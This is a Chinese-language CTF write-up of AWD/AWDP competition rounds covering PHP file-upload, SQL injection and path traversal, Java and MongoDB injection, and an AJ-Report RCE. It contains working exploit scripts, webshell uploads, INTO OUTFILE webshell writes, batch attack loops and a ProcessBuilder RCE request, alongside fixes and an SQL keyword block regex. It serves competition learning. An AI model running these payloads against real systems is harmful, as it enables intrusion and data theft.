background 华中选拔赛落幕了 这次比赛没有取得想要的成绩 我也发现了自己的一些问题 有时候真的就是一个很简单的问题 半天看不懂 然后挺容易手忙脚乱的 emmmm 有的题真的感觉不难 但是自己真的没接触过java awdp的时候全程在死磕php 也是逆天了 全程0解 我们一共就出了个nosql注入的flag 也不会修 真是废了 而且10轮的时候才交上去 有个pwn真的是被干烂了 反正我们是被打爆了
awd-php 漏洞点一 打开就是一个登录框
常规操作 备份数据库 源码 打包d盾扫一下 一眼的马子 直接删掉或者写成其他的东西
研究一下怎么用 这里是goto加密了 我看到的时候第一时间就慌了 真就是很简单的一个东西我都没看出来 赛后别人写框出来贴我脸上了我才看懂 我们没靠这个后面吃到啥分 我们抓到流量的时候感觉已经晚了 大家都修的差不多了
直接就输出出来就完事了啊 我还去解密解啥啊 真的是蠢
直接system里面接post参数game就完事了
接下来脚本批量打就行了 没啥说的 i春秋的平台挺好的 支持一大段flag提交 绿盟的还得写个提交的脚本
漏洞点一-fix 直接删掉就行了
漏洞点二-上传点1 直接看代码 一个很明显的任意文件上传
然后洞肯定要在后台找 于是想办法进后台 数据库看下账号信息
mayuri.infospace@gmail.com /admin
要是看不出来 直接抓cherk账号也是可以的
然后找上传点 咋说呢 这次awd本来就是友谊赛 我们打到一半时科大老师让我们做一个技术分享 讲一下打法和洞在哪里之类的
当时位列第二 然后分享了一下这题的解法(java的洞我们是吃到红利了 php的真的没来得及捞 马子删了 然后我脚本还没到位科大老师就让我分享 反正是友谊赛不计分 然后我分享完php这题的打法就出了很多文件上传的 我们被超了 没啥心思打了 哈哈哈哈 我脚本后面也没整出来 现场网络感觉也有些问题 23333)
我分享完了之后有一些队伍的师傅来问我们后台上传点在哪里 他们没找着 其实就是用户图标这里
直接很顺畅的上去了 但是没路径
路径源码也写的很清楚 这个路径规则也有师傅过来问了 哈哈哈哈
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
本地写一下就完事了
这里实际上不需要授权也是可以访问的 没有cookie也可以正常上传文件
我这里的思路是本地php生成一下时间 然后带入到python中上传后访问 因为这个路径一分钟才会变 一分钟足够收割其他队伍的机器了 反正比赛的时候我脚本死活写不出来(感觉是网络的锅) 现在本地写一个没啥问题
import requestsimport reurl="http://x.x.x.x:1234/ajax.php?action=update_user" url2="http://x.x.x.x:1234/assets/uploads/1719307260_logo.php" headers={ "Accept" : "*/*" ,"Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ,"Accept-Encoding" : "gzip, deflate" ,"X-Requested-With" : "XMLHttpRequest" ,"Content-Type" : "multipart/form-data; boundary=---------------------------51181557910837193061903359208" } data=''' -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="id" 1 -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="firstname" Mayuri K -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="lastname" K -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="email" mayuri.infospace@gmail.com -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="password" -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="img"; filename="logo.php" Content-Type: image/jpeg <?php system('cat /flag'); ?> -----------------------------51181557910837193061903359208-- ''' resp=requests.post(url=url,headers=headers,data=data) resp2=requests.get(url=url2) print (resp2.text)
批量脚本 我本地测试是没有问题的 当时也是这个思路 可能是网络问题干扰吧 让后自己也急了 以后这些东西还是得准备好
import requestsimport reimport timeheaders={ "Accept" : "*/*" ,"Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ,"Accept-Encoding" : "gzip, deflate" ,"X-Requested-With" : "XMLHttpRequest" ,"Content-Type" : "multipart/form-data; boundary=---------------------------51181557910837193061903359208" } data=''' -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="id" 1 -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="firstname" Mayuri K -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="lastname" K -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="email" mayuri.infospace@gmail.com -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="password" -----------------------------51181557910837193061903359208 Content-Disposition: form-data; name="img"; filename="logo.php" Content-Type: image/jpeg <?php system('cat /flag'); ?> -----------------------------51181557910837193061903359208-- ''' with open ('1.txt' , 'r' ) as f: ip_port_list = [line.strip().split() for line in f] for ip, port in ip_port_list: urls = f"http://{ip} :{port} " url=f"{urls} /ajax.php?action=update_user" url2=f"{urls} /assets/uploads/1719366480_logo.php" try : resp=requests.post(url=url,headers=headers,data=data,timeout=1 ) resp2=requests.get(url=url2) result = re.search(r'flag{' , resp2.text) if result: print (resp2.text) else : pass except requests.exceptions.Timeout: pass except requests.exceptions.ConnectionError: pass except Exception as e: pass
漏洞点二-上传点2 这里肯定不止一个上传点的 但是后台貌似只看到一个地方
但是没找到到哪里调用
这里所有函数是在Action类里
就这一个地方实例化了
然后调用的方法都写死了 我也没找到反序列化的地方
所以这里应该是没法利用的(才疏学浅 也许可以利用我自己不会而已)
要利用的话需要再ajax.php
里新增一个调用
/*新增*/ if($action == 'save_image'){ $save_image = $crud->save_image(); if($save_image) echo $save_image; }
原本的代码也得改一下 需要注意路径的问题
function save_image(){ extract($_FILES['file']); if(!empty($tmp_name)){ $fname = strtotime(date("Y-m-d H:i"))."_".(str_replace(" ","-",$name)); //$move = move_uploaded_file($tmp_name,'../assets/uploads/'. $fname); $move = move_uploaded_file($tmp_name,'assets/uploads/'. $fname); $protocol = strtolower(substr($_SERVER["SERVER_PROTOCOL"],0,5))=='https'?'https':'http'; $hostName = $_SERVER['HTTP_HOST']; $path =explode('/',$_SERVER['PHP_SELF']); $currentPath = '/'.$path[1]; if($move){ return $protocol.'://'.$hostName.$currentPath.'/assets/uploads/'.$fname; } } }
成功上传 其实这个题出的刁钻一点的话后台不给上传点 让人自己看代码构造口子
漏洞点二-上传点3
同样的也是在ajax.php里没有定义的 无法直接利用
同上面一样的 引用一下
if ($action == 'save_system_settings' ){ $save_system_settings = $crud ->save_system_settings (); if ($save_system_settings ) echo $save_system_settings ; }
修一下路径 可成功传shell
function save_system_settings(){ extract($_POST); $data = ''; foreach($_POST as $k => $v){ if(!is_numeric($k)){ if(empty($data)){ $data .= " $k='$v' "; }else{ $data .= ", $k='$v' "; } } } if($_FILES['cover']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['cover']['name']; //$move = move_uploaded_file($_FILES['cover']['tmp_name'],'../assets/uploads/'. $fname); $move = move_uploaded_file($_FILES['cover']['tmp_name'],'assets/uploads/'. $fname); $data .= ", cover_img = '$fname' "; }
漏洞点二-上传点4
这里已经引用了 但是同样的有路径问题 fix一下就OK了
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name']; //$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/uploads/'. $fname); $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname); $data .= ", avatar = '$fname' "; }
漏洞点二-fix 检验后缀就完事了 awdp的时候也遇到文件上传的 可惜了没修好 嘎嘎fix失败 现在看来可能是我$_FILES['img']['name']
写的问题 刚刚fix的时候也一直不行 后面发现是这个问题 不同的文件这些参数都是不一样的 唉 还是底子不扎实
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name']; //$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/uploads/'. $fname); $deny_ext = array(".jpg",".png",".jpeg"); //【修改点一】 $file_name = trim($_FILES['img']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (in_array($file_ext, $deny_ext)&&substr_count($_FILES['img']['name'], '.')===1){ }else{ die('不允许的类型!!!'); } $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname); $data .= ", avatar = '$fname' "; }
漏洞点三 一眼的sql注入
默认情况下是无法读取文件的 但是awd 嘛 指定要刺激点 我估计当时环境是可以读文件的
http://x.x.x.x:1234/view_parcel.php?id=-8970 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(select load_file('/flag')),NULL,NULL,NULL,NULL,NULL-- -
只能读文件肯定是不够的 写马子
http://x.x.x.x:1234/view_parcel.php?id=-8970 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,"111",NULL,NULL,NULL,NULL,NULL INTO OUTFILE "/tmp/1"-- -
sqlmap的写法 成功
http://x.x.x.x:1234/view_parcel.php?id=1 LIMIT 0,1 INTO OUTFILE '/tmp/1' LINES TERMINATED BY 0x3c3f706870206576616c28245f4745545b315d293b203f3e-- -
一眼的注入
这一大堆就不一个一个看了
基本都是有洞的
正常
不正常
漏洞点三-fix 是int参数的话 直接转换int型就行了
$qry = $conn ->query ("SELECT * FROM parcels where id = " .intval ($_GET ['id' ]))->fetch_array ();
或者直接直接过滤
<?php include 'db_connect.php'; $id=$_GET['id']; if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $id)){ die('n0'); } $qry = $conn->query("SELECT * FROM parcels where id = ".$id)->fetch_array(); foreach($qry as $k => $v){ $$k = $v; } include 'new_parcel.php'; ?>
这个题目前也就发现这三种办法 应该还有很多其他的打法的
awd-java 第一次接触java 补了一下反编译 打包之类的知识 但是对于这个代码结构还是一头雾水
环境搭建的时候发现没有数据库文件 然后github上找到了
https://github.com/yeqifu/warehouse/blob/master/warehouse.sql
在代码里也发现了数据库信息
127.0.0.1:3306 warehouse root root
这里先说说jar包怎么反编译再编回去
IDEA下载插件JarEditor
新建一个项目 选择文件的路径
然后选择JarEditor就可以编辑代码了
编辑完了点保存 然后build即可(直接覆盖原来的包 需要先备份好)
我本地搭建了没问题 但是不能路径穿越 于是在linxu里修改 把mysql服务器设置为我本机 但是一直登不进去 shiro有问题
于是只能又把数据库设为本地 来看看是不是数据库不在127.0.0.1的锅
mysql默认是不在0.0.0.0的 修改/etc/mysql/my.cnf
[mysqld] bind-address = 0.0.0.0 systemctl restart mysql
允许所有用户连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456'; FLUSH PRIVILEGES;
修改密码
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('root');
完事之后还是一样的错误 那就是java版本的问题了 kali里的java版本太高了 降一下
mkdir -p /usr/local/java cd /usr/local/java wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz sudo tar -zxvf jdk-8u202-linux-x64.tar.gz nano /etc/profile 在文件的末尾添加以下内容(注意替换``为你的JDK 8版本号) JAVA_HOME=/usr/local/java/jdk1.8.0_202 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1 update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1 update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac update-alternatives --set javaws /usr/local/java/jdk1.8.0_202/bin/javaws source /etc/profile java -version
漏洞点一 成功跑起来了 但是还是读不到文件
尝试一番 后面正常了 题目正常是可以读文件的 默认是一个头像 但是我们这源码打包下来的没有图片 所以路径穿越根本穿不动 我后台传入一个图片进去再穿越就正常了 图片存在/app目录下 需要存在这个目录
这个洞是我队友黑盒测的 tql
批量脚本(当时不是用的这个 第一次接触ichunqiu的平台 不知道他给的别人机器都是文档 还需要去处理 之前绿盟的平台都是直接循环一个段子就完事了 当时是记事本手动增加:
然后读取拼接http和路径 每一轮都要手动替换空格成:
)
import requestsimport reimport timewith open ('1.txt' , 'r' ) as f: ip_port_list = [line.strip().split() for line in f] for ip, port in ip_port_list: urls = f"http://{ip} :{port} " url=f"{urls} /file/showImageByPath?path=../../../../../../../../../flag" try : resp=requests.get(url=url,timeout=1 ) result = re.search(r'flag{' , resp.text) if result: print (resp.text) else : pass except requests.exceptions.Timeout: pass except requests.exceptions.ConnectionError: pass except Exception as e: pass
按两下shift
搜索关键字
没进过任何处理 直接返回了路径 使用../即可路径穿越读取任意文件
漏洞点一-fix 修的话直接无脑过滤flag ../应该就行了 但是搞不了 应该是环境有问题 换了很多jdk版本都不行 废了
public ResponseEntity<Object> showImageByPath(String path) { if(path.contains("../")){ return "no"; } if(path.contains("./")){ return "no"; } if(path.contains("flag")){ return "no"; } return AppFileUtils.createResponseEntity(path); }
所以就这样了 不知道怎么办了 然后这里肯定不止这一个漏洞 翻了下shiro也没发现秘钥啥的 注入我用xray扫了一下也没出货
other
扫了一下是没log4j的
这个版本是有漏洞的 但是没复现出来
fastjson也是有洞的
搜了下貌似没有调用的地方
行了 不玩了 真的是啥也不懂
awdp-ezjava 环境搭建还需要做个数据库 无须做认证
sudo apt-get install mongodb sudo systemctl start mongodb
break 用户名为admin 密码是随机生成的
看登录逻辑
当账号密码正确时 把我们输入的密码和数据库里的密码对比 成功执行getflag 否则提示密码错误
看一下是怎么取的flag
这里直接调用的系统命令读的 到这里逻辑也很清楚了 使用账号密码登录成功 密码和数据库里的密码对得上即可得到flag
这里使用的FindByNamePassword
处理两个字符串
跟进
发现这里直接用了变量拼接 存在sql注入
这里的注入不能像mysql这 这里使用的是非关系型数据库
参考 这里最有意思的php的弱类型造成的数组传入
https://xz.aliyun.com/t/9908?time__1311=n4%2BxuDgD9Am4BlDRDBuWoGkYA5DI5erNPG8eD
关于语法参考
https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html
参考
https://blog.csdn.net/jklbnm12/article/details/120423608
联合注入poc(这里去掉了反斜杠的转义)
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
在后端拼接后实际的查询语句为
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
这里语句是为真的
这里为了更直观的看到实际执行的语句 修改了一个源代码 直接返回带入数据库中的查询数据
import com.mongodb.DBObject;import com.mongodb.util.JSON;public String login (String username, String password, HttpServletResponse response) { try { String stringQuery = "{ 'username' : '" + username + "', 'password' : '" + password + "'}" ; DBObject databaseQuery = (DBObject)JSON.parse(stringQuery); String jsonResult = JSON.serialize(databaseQuery); return jsonResult; } catch (Exception var7) { return "error" ; } }
这里构造真条件没啥用 必须要实际的密码 所以这里使用盲注正则来匹配字符 最终payload
password=','password':{'$regex':'^.*'},'username':'admin password=','password':{'$regex':'^'},'username':'admin
这里password的值直接当做了一个表达式去计算 实际上这里username不需要传值的 后端会解析json的
最终后端执行语句
最终exp
import requests url = "http://192.168.6.18:9999/login" dict = "abcdefghijklmnopqrstuvwxyz0123456789" flag = "" http_proxy = "http://127.0.0.1:8080" https_proxy = "http://127.0.0.1:8080" # 设置代理 proxies = { "http": http_proxy, "https": https_proxy } for len in range(32): for i in dict: data = { "password":"','password':{'$regex':'^"+flag+i+"'},'username':'admin" } resp = requests.post(url,data=data,verify=False,proxies=proxies) if "username or password incorrect" not in resp.text: flag+=i print(flag)
fix 那简单 过滤也行 直接全部改成username or password incorrect
应该也是可以过cherk的
if(password.contains("''")||password.contains("regex")){ return "username or password incorrect"; } //参考https://whuctf-team.feishu.cn/docx/SI1hdjHYhoTRQSxrJo3c71WhnSe 这里实际上跟所有的改成username or password incorrect没啥区别
awdp-AJ-Report 五月份公开的洞
唉 还是漏洞库不够大啊 可惜了 不然直接exp无脑打就行了的
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1 Host: 192.168.0.100:9095 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json;charset=UTF-8 Connection: close {"sampleItem":"1","validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\"whoami\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
awdp-php2 break 后台洞 一直不知道账号密码 我试过John doe密码john 进不去
题目描述是John doe创建了一个博客 密码是john
这里我以为的john是破解密码的那个玩意 然后是要找个注入点 拿密码的hash 然后john去跑 就一直在找注入点的路上走
后面用rockyou字典跑了一下 也没出货 但凡是我能本地跑一下这个代码 真的是不至于这题0解 逆天了 真的是0解
这题账号就是John Doe密码john 妈的 那个大写的D……
搭建不起来 醉了
算了 就这样吧 完结